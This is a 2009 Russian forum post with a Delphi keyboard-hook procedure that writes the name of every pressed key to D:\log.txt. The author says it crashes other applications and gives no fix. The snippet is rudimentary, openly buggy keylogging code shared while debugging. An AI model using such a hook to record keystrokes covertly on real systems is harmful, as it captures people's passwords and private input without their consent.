Показать сообщение отдельно
  #9  
Старый 02.04.2009, 18:06
Аватар для Ferra
Ferra Ferra вне форума
Местный
 
Регистрация: 12.03.2006
Адрес: Минск
Сообщения: 527
Репутация: 1336
Стрелка

Видоизменил

Код:
function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var
 c   : char;
 f   : text;
 key : array [0..16] of Char;
begin
Showmessage('HELLO FROM MY EXE HOOK');
 if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
   begin
   Assign(f,'D:\log.txt');
    if FileExists('D:\log.txt') then Append(f) else Rewrite(f);
   GetKeyNameText(lParam,key,SizeOf(key));
   Writeln(f,key);
   CloseFile(f);
   //result:=CallNextHookEx(myHook,Code,wParam,lParam);
   end;
result:=CallNextHookEx(myHook,Code,wParam,lParam);
end;

Работает. Но очень нехорошо - приложение в котором нажата клавиша (кроме нашего) - уходит по английски. Выкидывает его.

Я пока что не знаю причину столь странного поведения, надо будет почитать, поискать как это обойти. Ошибка возникает при CallNextHookEx - это очевидно. Как обойти - это уже отдельный вопрос, если он столь остро стоит, могу поискать. Засим откланюсь, думаю тема исчерпана.
__________________
Нет повести печальнее на свете, чем повесть о заклиневшем Resete.
Ответить с цитированием